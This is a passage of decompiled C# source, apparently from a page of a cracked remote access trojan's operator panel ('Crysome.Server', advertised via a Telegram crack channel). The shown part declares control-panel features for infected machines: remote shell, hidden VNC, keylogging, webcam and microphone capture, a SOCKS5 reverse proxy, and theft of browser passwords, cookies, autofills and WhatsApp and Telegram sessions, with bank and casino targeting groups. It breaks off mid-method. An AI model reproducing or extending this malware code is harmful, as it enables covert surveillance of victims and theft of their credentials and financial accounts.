4266 lines
121 KiB
C#
4266 lines
121 KiB
C#
using System;
|
||||
|
|
using System.Collections.Concurrent;
|
|||
|
|
using System.Collections.Generic;
|
|||
|
|
using System.Collections.ObjectModel;
|
|||
|
|
using System.ComponentModel;
|
|||
|
|
using System.IO;
|
|||
|
|
using System.Linq;
|
|||
|
|
using System.Media;
|
|||
|
|
using System.Net;
|
|||
|
|
using System.Net.Sockets;
|
|||
|
|
using System.Reflection;
|
|||
|
|
using System.Text;
|
|||
|
|
using System.Text.RegularExpressions;
|
|||
|
|
using System.Threading;
|
|||
|
|
using System.Threading.Tasks;
|
|||
|
|
using System.Windows;
|
|||
|
|
using System.Windows.Controls;
|
|||
|
|
using System.Windows.Data;
|
|||
|
|
using System.Windows.Input;
|
|||
|
|
using System.Windows.Media;
|
|||
|
|
using System.Windows.Threading;
|
|||
|
|
using Crysome.Common.Network;
|
|||
|
|
using Crysome.Common.Network.FileTransfer;
|
|||
|
|
using Crysome.Common.Network.Packets;
|
|||
|
|
using Crysome.Common.Network.Packets.Client;
|
|||
|
|
using Crysome.Common.Network.Packets.Server;
|
|||
|
|
using Crysome.Server.Data;
|
|||
|
|
using Crysome.Server.Model;
|
|||
|
|
using Crysome.Server.Network;
|
|||
|
|
using Crysome.Server.View;
|
|||
|
|
using Microsoft.Win32;
|
|||
|
|
|
|||
|
|
namespace Crysome.Server.ViewModel;
|
|||
|
|
|
|||
|
|
public class ManageClientsViewModel : ViewModelBase
|
|||
|
|
{
|
|||
|
|
private class RdpQualityState
|
|||
|
|
{
|
|||
|
|
public int Level = 6;
|
|||
|
|
|
|||
|
|
public int CurrentQuality = 80;
|
|||
|
|
|
|||
|
|
public int GoodStreak;
|
|||
|
|
|
|||
|
|
public int BadStreak;
|
|||
|
|
|
|||
|
|
public DateTime LastFrameTime = DateTime.MinValue;
|
|||
|
|
|
|||
|
|
public int IntervalMs = 33;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private sealed class ReverseProxyState
|
|||
|
|
{
|
|||
|
|
public TcpListener Listener;
|
|||
|
|
|
|||
|
|
public int NextConnectionId;
|
|||
|
|
|
|||
|
|
public ConcurrentDictionary<int, TcpClient> Connections = new ConcurrentDictionary<int, TcpClient>();
|
|||
|
|
|
|||
|
|
public volatile bool Running;
|
|||
|
|
|
|||
|
|
public CrysomeClient Owner;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private readonly MainViewModel _mainViewModel;
|
|||
|
|
|
|||
|
|
private CrysomeServer server;
|
|||
|
|
|
|||
|
|
private readonly AppDataStore store = new AppDataStore();
|
|||
|
|
|
|||
|
|
private readonly DispatcherTimer infoTimer;
|
|||
|
|
|
|||
|
|
private readonly ConcurrentDictionary<uint, FtSender> _activeSenders = new ConcurrentDictionary<uint, FtSender>();
|
|||
|
|
|
|||
|
|
private readonly DispatcherTimer _uiThrottleTimer;
|
|||
|
|
|
|||
|
|
private bool _pendingUpdates;
|
|||
|
|
|
|||
|
|
private readonly object _clientLock = new object();
|
|||
|
|
|
|||
|
|
private int infoRobin;
|
|||
|
|
|
|||
|
|
private string _lastCmd = "";
|
|||
|
|
|
|||
|
|
private string _lastFilePath = "";
|
|||
|
|
|
|||
|
|
private long _nextExplorerOpId;
|
|||
|
|
|
|||
|
|
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<ReadFileResponsePacket>> _pendingReadFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<ReadFileResponsePacket>>();
|
|||
|
|
|
|||
|
|
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<WriteFileResponsePacket>> _pendingWriteFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<WriteFileResponsePacket>>();
|
|||
|
|
|
|||
|
|
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<GetDirectoryResponsePacket>> _pendingGetDirectoryResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<GetDirectoryResponsePacket>>();
|
|||
|
|
|
|||
|
|
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<GetDrivesResponsePacket>> _pendingGetDrivesResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<GetDrivesResponsePacket>>();
|
|||
|
|
|
|||
|
|
private readonly ConcurrentDictionary<CrysomeClient, FileExplorerViewModel> _activeFileExplorers = new ConcurrentDictionary<CrysomeClient, FileExplorerViewModel>();
|
|||
|
|
|
|||
|
|
private readonly HashSet<string> _logCategoryHide = new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "MIC", "CAM" };
|
|||
|
|
|
|||
|
|
private ICollectionView _logEntriesView;
|
|||
|
|
|
|||
|
|
private ClientInfo _selectedClient;
|
|||
|
|
|
|||
|
|
private List<ClientInfo> _selectedClients = new List<ClientInfo>();
|
|||
|
|
|
|||
|
|
private string _serverStatus = "Stopped • t.me/CuriousCracks";
|
|||
|
|
|
|||
|
|
private int _clientCount;
|
|||
|
|
|
|||
|
|
private string _statusMessage = "";
|
|||
|
|
|
|||
|
|
private List<ClientInfo> allClients = new List<ClientInfo>();
|
|||
|
|
|
|||
|
|
private int _proxyStartCount;
|
|||
|
|
|
|||
|
|
private readonly List<(string Address, string Port)> _proxyResultsForModal = new List<(string, string)>();
|
|||
|
|
|
|||
|
|
private DispatcherTimer _proxyModalTimer;
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<GetProcessListResponsePacket>> _processListCallbacks = new Dictionary<CrysomeClient, Action<GetProcessListResponsePacket>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<string>> _shellOutputCallbacks = new Dictionary<CrysomeClient, Action<string>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<byte[]>> _audioDataCallbacks = new Dictionary<CrysomeClient, Action<byte[]>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<byte[]>> _cameraFrameCallbacks = new Dictionary<CrysomeClient, Action<byte[]>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<byte[]>> _desktopFrameHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<byte[]>> _hvncFrameHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, ReverseProxyState> _reverseProxyState = new Dictionary<CrysomeClient, ReverseProxyState>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<string>> _keyloggerCallbacks = new Dictionary<CrysomeClient, Action<string>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<string, string>> _chatHandlers = new Dictionary<CrysomeClient, Action<string, string>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<string[]>> _cameraDevicesCallbacks = new Dictionary<CrysomeClient, Action<string[]>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<string[]>> _audioDevicesCallbacks = new Dictionary<CrysomeClient, Action<string[]>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<byte[]>> _audioStreamHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<ScreensResponsePacket>> _screensCallbacks = new Dictionary<CrysomeClient, Action<ScreensResponsePacket>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, Action<int>> _rdpQualityCallbacks = new Dictionary<CrysomeClient, Action<int>>();
|
|||
|
|
|
|||
|
|
private readonly Dictionary<CrysomeClient, RdpQualityState> _rdpQualityStates = new Dictionary<CrysomeClient, RdpQualityState>();
|
|||
|
|
|
|||
|
|
private static readonly (int Quality, int IntervalMs)[] _rdpLevels = new(int, int)[7]
|
|||
|
|
{
|
|||
|
|
(30, 100),
|
|||
|
|
(40, 66),
|
|||
|
|
(50, 50),
|
|||
|
|
(60, 40),
|
|||
|
|
(70, 33),
|
|||
|
|
(80, 25),
|
|||
|
|
(85, 16)
|
|||
|
|
};
|
|||
|
|
|
|||
|
|
private bool _isRefreshingClientList;
|
|||
|
|
|
|||
|
|
private string _filterCountry = "All";
|
|||
|
|
|
|||
|
|
private string _filterOS = "All";
|
|||
|
|
|
|||
|
|
private string _filterGroup = "All";
|
|||
|
|
|
|||
|
|
private string _filterPing = "All";
|
|||
|
|
|
|||
|
|
private int _uniqueCountriesCount;
|
|||
|
|
|
|||
|
|
private int _averagePing;
|
|||
|
|
|
|||
|
|
private int _activeWindowsCount;
|
|||
|
|
|
|||
|
|
private int _activeHvncCount;
|
|||
|
|
|
|||
|
|
private int _activeRdpCount;
|
|||
|
|
|
|||
|
|
private bool _appsExpanded;
|
|||
|
|
|
|||
|
|
private bool _bankExpanded;
|
|||
|
|
|
|||
|
|
private bool _casinoExpanded;
|
|||
|
|
|
|||
|
|
private string _newBlocklistIP = "";
|
|||
|
|
|
|||
|
|
private string _blocklistSelectedIP;
|
|||
|
|
|
|||
|
|
private readonly ConcurrentDictionary<CrysomeClient, Action<string, bool>> _offlineKeylogCallbacks = new ConcurrentDictionary<CrysomeClient, Action<string, bool>>();
|
|||
|
|
|
|||
|
|
public ObservableCollection<ClientInfo> Clients { get; set; }
|
|||
|
|
|
|||
|
|
public ObservableCollection<LogLineEntry> LogEntries { get; set; }
|
|||
|
|
|
|||
|
|
public string LogCategoryFilter
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return string.Join(",", _logCategoryHide);
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_logCategoryHide.Clear();
|
|||
|
|
if (!string.IsNullOrWhiteSpace(value))
|
|||
|
|
{
|
|||
|
|
string[] array = value.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
|
|||
|
|
foreach (string text in array)
|
|||
|
|
{
|
|||
|
|
_logCategoryHide.Add(text.Trim());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
OnPropertyChanged("LogCategoryFilter");
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
ICollectionView logEntriesView = LogEntriesView;
|
|||
|
|
if (logEntriesView != null)
|
|||
|
|
{
|
|||
|
|
logEntriesView.Refresh();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public ICollectionView LogEntriesView
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _logEntriesView;
|
|||
|
|
}
|
|||
|
|
private set
|
|||
|
|
{
|
|||
|
|
_logEntriesView = value;
|
|||
|
|
OnPropertyChanged("LogEntriesView");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public ClientInfo SelectedClient
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _selectedClient;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_selectedClient = value;
|
|||
|
|
OnPropertyChanged("SelectedClient");
|
|||
|
|
OnPropertyChanged("IsItemSelected");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public bool IsItemSelected => SelectedClient != null;
|
|||
|
|
|
|||
|
|
public List<ClientInfo> SelectedClients => _selectedClients;
|
|||
|
|
|
|||
|
|
public string ServerStatus
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _serverStatus;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_serverStatus = value;
|
|||
|
|
OnPropertyChanged("ServerStatus");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public int ClientCount
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _clientCount;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_clientCount = value;
|
|||
|
|
OnPropertyChanged("ClientCount");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public string StatusMessage
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _statusMessage;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_statusMessage = value ?? "";
|
|||
|
|
OnPropertyChanged("StatusMessage");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public ICommand SendCommandCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand SendCommandAllCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand SendFileCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand SendFileAllCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand DirectLinkCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand DirectLinkAllCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand CopySummaryCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand PinToTopCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand ExportSelectionCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand Mute30Cmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand QuickHealthCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand RepeatLastCmdCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand RepeatLastFileCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand AnnounceToggleCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand EditNoteCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand RestartClientCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand OpenFileManagerCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand OpenBuilderCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand OpenSettingsCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand CloseAppCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand OpenPluginsCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand Socks5ProxyCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand TakeScreenshotCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand ProcessManagerCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand RemoteShellCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand RemoteAudioCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand RemoteCameraCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand RemoteDesktopCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand HvncCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand KeyloggerCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand RemoteChatCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand CredentialsPasswordsCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand CredentialsCookiesCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand CredentialsBothCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand CredentialsAutofillsCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand CredentialsAllCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand WhatsAppSessionCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand TelegramSessionCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand ToggleAppsExpandCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand ToggleBankExpandCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand ToggleCasinoExpandCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand StartServerCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand StopServerCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand ExportLogCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand AddBlocklistCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand RemoveBlocklistCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand BlockSelectedClientCmd { get; }
|
|||
|
|
|
|||
|
|
public ICommand ClearFiltersCmd { get; }
|
|||
|
|
|
|||
|
|
public bool IsSendCommandEnabled => store.IsContextMenuFeatureEnabled("SendCommand");
|
|||
|
|
|
|||
|
|
public bool IsSendCommandAllEnabled => store.IsContextMenuFeatureEnabled("SendCommandAll");
|
|||
|
|
|
|||
|
|
public bool IsSendFileEnabled => store.IsContextMenuFeatureEnabled("SendFile");
|
|||
|
|
|
|||
|
|
public bool IsSendFileAllEnabled => store.IsContextMenuFeatureEnabled("SendFileAll");
|
|||
|
|
|
|||
|
|
public bool IsDirectLinkEnabled => store.IsContextMenuFeatureEnabled("DirectLink");
|
|||
|
|
|
|||
|
|
public bool IsDirectLinkAllEnabled => store.IsContextMenuFeatureEnabled("DirectLinkAll");
|
|||
|
|
|
|||
|
|
public bool IsSocks5ProxyEnabled => store.IsContextMenuFeatureEnabled("Socks5Proxy");
|
|||
|
|
|
|||
|
|
public bool IsTakeScreenshotEnabled => store.IsContextMenuFeatureEnabled("TakeScreenshot");
|
|||
|
|
|
|||
|
|
public bool IsFileManagerEnabled => store.IsContextMenuFeatureEnabled("FileManager");
|
|||
|
|
|
|||
|
|
public bool IsRestartEnabled => store.IsContextMenuFeatureEnabled("Restart");
|
|||
|
|
|
|||
|
|
public bool IsCopySummaryEnabled => store.IsContextMenuFeatureEnabled("CopySummary");
|
|||
|
|
|
|||
|
|
public bool IsBlockIPEnabled => store.IsContextMenuFeatureEnabled("BlockIP");
|
|||
|
|
|
|||
|
|
public bool IsPinToTopEnabled => store.IsContextMenuFeatureEnabled("PinToTop");
|
|||
|
|
|
|||
|
|
public bool IsExportEnabled => store.IsContextMenuFeatureEnabled("Export");
|
|||
|
|
|
|||
|
|
public bool IsMute30Enabled => store.IsContextMenuFeatureEnabled("Mute30");
|
|||
|
|
|
|||
|
|
public bool IsNoteEnabled => store.IsContextMenuFeatureEnabled("Note");
|
|||
|
|
|
|||
|
|
public bool IsProcessManagerEnabled => store.IsContextMenuFeatureEnabled("ProcessManager");
|
|||
|
|
|
|||
|
|
public bool IsRemoteShellEnabled => store.IsContextMenuFeatureEnabled("RemoteShell");
|
|||
|
|
|
|||
|
|
public bool IsRemoteAudioEnabled => store.IsContextMenuFeatureEnabled("RemoteAudio");
|
|||
|
|
|
|||
|
|
public bool IsRemoteCameraEnabled => store.IsContextMenuFeatureEnabled("RemoteCamera");
|
|||
|
|
|
|||
|
|
public bool IsRemoteDesktopEnabled => store.IsContextMenuFeatureEnabled("RemoteDesktop");
|
|||
|
|
|
|||
|
|
public bool IsHvncEnabled => store.IsContextMenuFeatureEnabled("HVNC");
|
|||
|
|
|
|||
|
|
public bool IsCredentialsEnabled => store.IsContextMenuFeatureEnabled("Credentials");
|
|||
|
|
|
|||
|
|
public bool IsKeyloggerEnabled => store.IsContextMenuFeatureEnabled("Keylogger");
|
|||
|
|
|
|||
|
|
public bool IsRemoteChatEnabled => store.IsContextMenuFeatureEnabled("RemoteChat");
|
|||
|
|
|
|||
|
|
public string FilterCountry
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _filterCountry;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
string text = value ?? "All";
|
|||
|
|
if (!(_filterCountry == text))
|
|||
|
|
{
|
|||
|
|
_filterCountry = text;
|
|||
|
|
OnPropertyChanged("FilterCountry");
|
|||
|
|
if (!_isRefreshingClientList)
|
|||
|
|
{
|
|||
|
|
RefreshClientList();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public string FilterOS
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _filterOS;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
string text = value ?? "All";
|
|||
|
|
if (!(_filterOS == text))
|
|||
|
|
{
|
|||
|
|
_filterOS = text;
|
|||
|
|
OnPropertyChanged("FilterOS");
|
|||
|
|
if (!_isRefreshingClientList)
|
|||
|
|
{
|
|||
|
|
RefreshClientList();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public string FilterGroup
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _filterGroup;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
string text = value ?? "All";
|
|||
|
|
if (!(_filterGroup == text))
|
|||
|
|
{
|
|||
|
|
_filterGroup = text;
|
|||
|
|
OnPropertyChanged("FilterGroup");
|
|||
|
|
if (!_isRefreshingClientList)
|
|||
|
|
{
|
|||
|
|
RefreshClientList();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public string FilterPing
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _filterPing;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
string text = value ?? "All";
|
|||
|
|
if (!(_filterPing == text))
|
|||
|
|
{
|
|||
|
|
_filterPing = text;
|
|||
|
|
OnPropertyChanged("FilterPing");
|
|||
|
|
if (!_isRefreshingClientList)
|
|||
|
|
{
|
|||
|
|
RefreshClientList();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public ObservableCollection<string> AvailableCountries { get; } = new ObservableCollection<string>();
|
|||
|
|
|
|||
|
|
public ObservableCollection<string> AvailableOSes { get; } = new ObservableCollection<string>();
|
|||
|
|
|
|||
|
|
public ObservableCollection<string> FilterCountryOptions { get; } = new ObservableCollection<string> { "All" };
|
|||
|
|
|
|||
|
|
public ObservableCollection<string> FilterOSOptions { get; } = new ObservableCollection<string> { "All" };
|
|||
|
|
|
|||
|
|
public ObservableCollection<string> FilterGroupOptions { get; } = new ObservableCollection<string> { "All" };
|
|||
|
|
|
|||
|
|
public ObservableCollection<string> FilterPingOptions { get; } = new ObservableCollection<string> { "All", "Good (<100ms)", "Medium (<300ms)", "High (>300ms)" };
|
|||
|
|
|
|||
|
|
public ObservableCollection<string> BlockedIPsList { get; } = new ObservableCollection<string>();
|
|||
|
|
|
|||
|
|
public int UniqueCountriesCount
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _uniqueCountriesCount;
|
|||
|
|
}
|
|||
|
|
private set
|
|||
|
|
{
|
|||
|
|
_uniqueCountriesCount = value;
|
|||
|
|
OnPropertyChanged("UniqueCountriesCount");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public int AveragePing
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _averagePing;
|
|||
|
|
}
|
|||
|
|
private set
|
|||
|
|
{
|
|||
|
|
_averagePing = value;
|
|||
|
|
OnPropertyChanged("AveragePing");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public int ActiveWindowsCount
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _activeWindowsCount;
|
|||
|
|
}
|
|||
|
|
private set
|
|||
|
|
{
|
|||
|
|
_activeWindowsCount = value;
|
|||
|
|
OnPropertyChanged("ActiveWindowsCount");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public int ActiveHvncCount
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _activeHvncCount;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_activeHvncCount = value;
|
|||
|
|
OnPropertyChanged("ActiveHvncCount");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public int ActiveRdpCount
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _activeRdpCount;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_activeRdpCount = value;
|
|||
|
|
OnPropertyChanged("ActiveRdpCount");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public bool AppsExpanded
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _appsExpanded;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_appsExpanded = value;
|
|||
|
|
OnPropertyChanged("AppsExpanded");
|
|||
|
|
OnPropertyChanged("AppsToggleText");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public string AppsToggleText
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
if (!_appsExpanded)
|
|||
|
|
{
|
|||
|
|
return "▼";
|
|||
|
|
}
|
|||
|
|
return "▲";
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public bool BankExpanded
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _bankExpanded;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_bankExpanded = value;
|
|||
|
|
OnPropertyChanged("BankExpanded");
|
|||
|
|
OnPropertyChanged("BankToggleText");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public string BankToggleText
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
if (!_bankExpanded)
|
|||
|
|
{
|
|||
|
|
return "▼";
|
|||
|
|
}
|
|||
|
|
return "▲";
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public bool CasinoExpanded
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _casinoExpanded;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_casinoExpanded = value;
|
|||
|
|
OnPropertyChanged("CasinoExpanded");
|
|||
|
|
OnPropertyChanged("CasinoToggleText");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public string CasinoToggleText
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
if (!_casinoExpanded)
|
|||
|
|
{
|
|||
|
|
return "▼";
|
|||
|
|
}
|
|||
|
|
return "▲";
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public string NewBlocklistIP
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _newBlocklistIP;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_newBlocklistIP = value ?? "";
|
|||
|
|
OnPropertyChanged("NewBlocklistIP");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public string BlocklistSelectedIP
|
|||
|
|
{
|
|||
|
|
get
|
|||
|
|
{
|
|||
|
|
return _blocklistSelectedIP;
|
|||
|
|
}
|
|||
|
|
set
|
|||
|
|
{
|
|||
|
|
_blocklistSelectedIP = value;
|
|||
|
|
OnPropertyChanged("BlocklistSelectedIP");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public AppDataStore Store => store;
|
|||
|
|
|
|||
|
|
public CrysomeServer Server => server;
|
|||
|
|
|
|||
|
|
public long NextExplorerOpId()
|
|||
|
|
{
|
|||
|
|
return Interlocked.Increment(ref _nextExplorerOpId);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RegisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm)
|
|||
|
|
{
|
|||
|
|
if (owner != null)
|
|||
|
|
{
|
|||
|
|
_activeFileExplorers[owner] = vm;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void UnregisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm)
|
|||
|
|
{
|
|||
|
|
if (owner != null)
|
|||
|
|
{
|
|||
|
|
_activeFileExplorers.TryRemove(owner, out var _);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RegisterReadFileCallback(CrysomeClient client, long transferId, Action<ReadFileResponsePacket> cb)
|
|||
|
|
{
|
|||
|
|
_pendingReadFileResponses[(client, transferId)] = cb;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RegisterWriteFileCallback(CrysomeClient client, long transferId, Action<WriteFileResponsePacket> cb)
|
|||
|
|
{
|
|||
|
|
_pendingWriteFileResponses[(client, transferId)] = cb;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RegisterGetDirectoryCallback(CrysomeClient client, long requestId, Action<GetDirectoryResponsePacket> cb)
|
|||
|
|
{
|
|||
|
|
if (requestId != 0L)
|
|||
|
|
{
|
|||
|
|
_pendingGetDirectoryResponses[(client, requestId)] = cb;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RegisterGetDrivesCallback(CrysomeClient client, long requestId, Action<GetDrivesResponsePacket> cb)
|
|||
|
|
{
|
|||
|
|
if (requestId != 0L)
|
|||
|
|
{
|
|||
|
|
_pendingGetDrivesResponses[(client, requestId)] = cb;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void SyncSelectedClients(List<ClientInfo> items)
|
|||
|
|
{
|
|||
|
|
_selectedClients = items ?? new List<ClientInfo>();
|
|||
|
|
OnPropertyChanged("SelectedClients");
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void EnqueueStatus(string msg)
|
|||
|
|
{
|
|||
|
|
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_001a: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
